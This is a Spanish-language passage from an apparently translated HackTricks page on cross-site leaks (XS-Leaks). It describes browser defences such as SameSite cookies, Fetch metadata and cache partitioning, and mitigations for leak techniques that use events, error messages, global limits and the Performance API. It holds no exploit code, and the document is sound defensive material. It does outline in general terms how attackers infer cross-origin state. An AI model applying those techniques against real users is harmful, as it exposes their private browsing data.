  • Metadatos Fetch. Estos encabezados de solicitud permiten a los propietarios de servidores comprender mejor cómo el navegador del usuario causó una solicitud específica. En Chrome, los encabezados Sec-Fetch-* se agregan automáticamente a cada solicitud y proporcionan metadatos sobre la procedencia de la solicitud. Por ejemplo, Sec-Fetch-Dest: image se activó desde un elemento de imagen. Las aplicaciones web pueden entonces elegir bloquear solicitudes basadas en esa información.
  • Cookies Same-Site. La bandera de cookie Same-Site permite a los sitios web declarar si una cookie debe estar restringida a un contexto same-site o firstparty. Todos los navegadores principales admiten cookies Same-Site. En GC, las cookies sin el atributo ahora son Lax por defecto. Para XS-Leaks, las cookies Same-Site limitan drásticamente las posibilidades de ataque de leak. Por otro lado, las técnicas de leak que dependen de window.open aún funcionan con SameSite=Lax. Los sitios web que utilizan otros métodos de autenticación, como certificados del lado del cliente y autenticación HTTP, siguen siendo vulnerables.
  • Desvinculación de Identificadores Cross-Origin (COIU). COIU, también conocido como Aislamiento de Primera Parte (FPI), es una característica de seguridad opcional que los usuarios pueden habilitar en la configuración de expertos de FF (about:config) y fue introducida inicialmente en Tor Browser. En una vista abstracta, es un contexto same-site extendido. Vincula múltiples recursos (por ejemplo, Cookies, Cache, Almacenamientos del lado del cliente) a la primera parte en lugar de compartirlos entre todos los sitios web visitados. Si se habilita, COIU disminuye drásticamente la aplicabilidad de XS-Leaks, ya que solo los métodos que usan pop-ups son aún posibles para cumplir con el requisito de primera parte de la política.
  • Protecciones de Seguimiento. Apple implementó un mecanismo de privacidad llamado Prevención Inteligente de Seguimiento (ITP) en SA que tiene como objetivo combatir el seguimiento cross-site limitando las capacidades de las cookies y otras APIs web. En versiones más recientes de SA, ITP bloquea todas las cookies de terceros por defecto sin excepciones [74]. Este bloqueo previene todos los leaks que no se basan en pop-ups. FF adoptó un enfoque similar con la Prevención Mejorada de Seguimiento (ETP), pero solo bloquean cookies de terceros específicas que pertenecen a proveedores de seguimiento. En el contexto de XS-Leaks, ETP solo mitiga técnicas de leak que apuntan a estos dominios de seguimiento.
  • Extensiones de Navegador. Los usuarios conscientes de la seguridad pueden usar extensiones de navegador para prevenir ciertos métodos de inclusión.

Mitigaciones de Técnicas de Leak

  • Manejador de Eventos. La mitigación más efectiva en esta técnica de leak sería negarlas todas, pero esto rompería la mayoría de las aplicaciones web en Internet. Por lo tanto, proponemos reducir la cantidad de información necesaria que se puede recopilar dentro de los eventos. Por ejemplo, el evento de violación de CSP no debe contener la URL de destino de redirección en el campo blockedURI. Este comportamiento está implementado en FF y en versiones más recientes de GC – solo SA sigue siendo vulnerable.
  • Mensajes de Error. Para mitigar XS-Leaks basados en mensajes de error de técnicas de leak, hay dos requisitos principales. Primero, los mensajes de error no deben contener información detallada, de manera similar a los mensajes del manejador de eventos. Segundo, los navegadores deben minimizar la ocurrencia de mensajes de error. XS-Leaks como SRI Error, ContentDocument XFO o Fetch Redirect detectan si se lanza un mensaje de error o no.
  • Límites Globales. Arreglar técnicas de leak que abusan de límites globales es relativamente complejo porque dependen de restricciones físicas. La recomendación general es restringir los límites globales en una pequeña base por sitio. Si el límite global es 1, como para la API de Pago, el atacante puede intentar activar silenciosamente la UI de WebPayment en cualquier momento, lo cual solo tiene éxito si la UI no está siendo utilizada concurrentemente por otra pestaña. Recomendamos acceder a la API de Pago solo cuando se haya utilizado un evento confiable. De esta manera, el límite global se establece en cero a menos que el usuario dé su consentimiento, como un clic con el botón izquierdo del ratón en una ventana de diálogo, lo que establece el límite global en uno.
  • Estado Global. No se debe poder acceder a ninguna propiedad del estado global de un navegador. Por ejemplo, FF es el único navegador que actualiza el estado global del historial cuando ocurre una redirección, lo que resulta en la lectura de history.length. Los navegadores deberían crear una nueva propiedad de historial cuando ocurre una redirección en lugar de almacenarla globalmente. Otros ejemplos son recursos compartidos, como cachés. Los leaks de caché abusan de la caché compartida utilizada para todos los sitios web abiertos en un navegador. Para mitigar completamente las técnicas de leak de caché, la caché HTTP debe estar particionada en una base por sitio, como está implementado por SA, GC y FF. Cabe señalar que en SA los iframes no están afectados por la partición de caché.
  • API de Rendimiento. Demostramos que la API de Rendimiento es una excelente técnica de leak. En muchos XS-Leaks, pudimos detectar la diferencia de si la respuesta de una solicitud cross-origin tiene o no una entrada de rendimiento. Como unificación, recomendamos asegurar que todas las solicitudes creen tal entrada y solo el subconjunto correcto de información de tiempo se registre para solicitudes cross-origin.

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas.
Obtén acceso hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}